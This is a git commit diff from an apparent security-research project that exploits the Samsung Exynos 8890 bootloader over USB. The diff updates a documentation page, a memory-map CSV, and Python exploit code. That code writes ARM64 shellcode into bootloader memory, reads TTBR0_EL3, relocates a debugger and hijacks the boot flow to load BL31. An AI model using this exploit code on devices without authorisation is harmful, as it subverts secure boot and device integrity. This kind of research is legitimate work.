Loads and executes BL31, then returns debugger, then continues bootflow and enters recovery

This commit is contained in:
Jonathan Herrewijnen 2024-08-29 21:06:15 +02:00
parent a12453cbd3
commit e59478187d
6 changed files with 658 additions and 289 deletions

View File

@ -4,9 +4,13 @@ Booting
=======
This part describes the boot chain of the ``Exynos 8890`` SoC.
Booting Protocol
================
TODO document normal samsung boot chain
Memory overview
===============
.. raw:: html
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
Exploitation
============

File diff suppressed because it is too large Load Diff

View File

@ -10,7 +10,11 @@ start,end,name,order,comment,X0,LR
0x02048000,0x0206ed10,BL2,,,,
0x02069000,0x0206f000,Debugger,,,,
0x020c0000,0x020c7000,Debugger relocated,,,,
0x02048000,0x0204daf0,BL2 empty space?,,,,
0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
0x020c2000,0x020e8d10,BL2 load address?,,,,
0x0206ed10,0x02070000,End/Start peripheral space?,,,,
0x02019e5c,0x02020e5c,Tried debugger space,,,,
0x020C7800,0x020C8000,modem_interface,,,,
0x14AC0000,0x14ac5000,mali@14AC0000,,,,
0x14AC0000,0x14ac5000,mali@14AC0000,,,,
0x2035600,0x2035608,TTBR0_EL3 address ptr,,,,
1 start end name order comment X0 LR
10 0x02048000 0x0206ed10 BL2
11 0x02069000 0x0206f000 Debugger
12 0x020c0000 0x020c7000 Debugger relocated
13 0x02048000 0x0204daf0 BL2 empty space?
14 0x0204eb00 0x0204eb00 BL2 copy start/source
15 0x020c2000 0x020e8d10 BL2 load address?
16 0x0206ed10 0x02070000 End/Start peripheral space?
17 0x02019e5c 0x02020e5c Tried debugger space
18 0x020C7800 0x020C8000 modem_interface
19 0x14AC0000 0x14ac5000 mali@14AC0000
20 0x2035600 0x2035608 TTBR0_EL3 address ptr

File diff suppressed because one or more lines are too long

Binary file not shown.

View File

@ -385,7 +385,7 @@ class ExynosDevice():
_setup_debugger()
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000):
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
"""
Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
@ -411,7 +411,7 @@ class ExynosDevice():
# self.usb_write(b"FLSH") # Flush cache
self.cd.restore_stack_and_jump(entry)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(g_data_received+0x1000, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
def dumb_interact(self, dump_imems=False):
@ -553,7 +553,7 @@ class ExynosDevice():
shellcode = f"""
ldr x0, debugger_addr
blr x0
debugger_addr: .quad 0x020c0000
debugger_addr: .quad 0x02022000
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
@ -579,25 +579,49 @@ class ExynosDevice():
# self.cd.restore_stack_and_jump(0x000125b4)
def get_ttbr0_el3(self):
"""
Get the TTBR0_EL3 register using opcode.
"""
shellcode= f"""
mov x1, lr
mrs x0, ttbr0_el3
ldr x2, =0x020c1000
ldr x2, =0x206fd10
str x0, [x2]
mov lr, x1
ret
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x020c0000, shellcode)
self.cd.jump_to(0x020c0000)
ttbr0 = u64(self.cd.memdump_region(0x020c1000, 8))
self.cd.memwrite_region(0x206ed10, shellcode)
self.cd.jump_to(0x0206ed10)
ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
print(f"TTBR0_EL3: {hex(ttbr0)}")
print(f"Bits: {ttbr0:064b}")
# Overwrite it with 0's
self.cd.memwrite_region(0x020c1000, b"\x00" * 8)
ttbr0 = self.cd.memdump_region(0x020c1000, 8)
assert ttbr0 == b"\x00" * 8, "TTBR0_EL3 not overwritten"
self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
def test_write_execute(self, address):
"""
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
"""
self.usb_write(b'PING')
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
shellcode = f"""
mov x1, lr
ret
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(address, shellcode)
self.cd.jump_to(address)
self.usb_write(b"PING")
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
print(f'Jumped to {hex(address)} and back')
def debugger_boot(self):
@ -611,13 +635,10 @@ class ExynosDevice():
logger.debug('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx()
# dumped = self.dump_memory(0x20000, 0x2070000)
DEBUGGER_ADDR = 0x2069000 # 0x2069000
self.get_ttbr0_el3()
# Relocate to other debugger
debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
DEBUGGER_ADDR = 0x02048000
@ -707,6 +728,8 @@ class ExynosDevice():
self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
# self.cd.restore_stack_and_jump(hijacked_fun)
# Write 'a1 00 00 00' to 0x0202a330
self.cd.restore_stack_and_jump(0x02024010)
time.sleep(2)
@ -715,6 +738,18 @@ class ExynosDevice():
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs()
BL31_ra = self.cd.arch_dbg.state.LR
# Relocate debugger back to the start of the stack
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400)
# DEBUGGER_ADDR = 0x14ac3000
# Again restore bootflow
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(2)
# ==== Stage 3 BL2 ====
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
@ -738,6 +773,7 @@ class ExynosDevice():
pass
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
@ -769,3 +805,6 @@ if __name__ == "__main__":
exynos.dumb_interact()
sys.exit(0)
with open()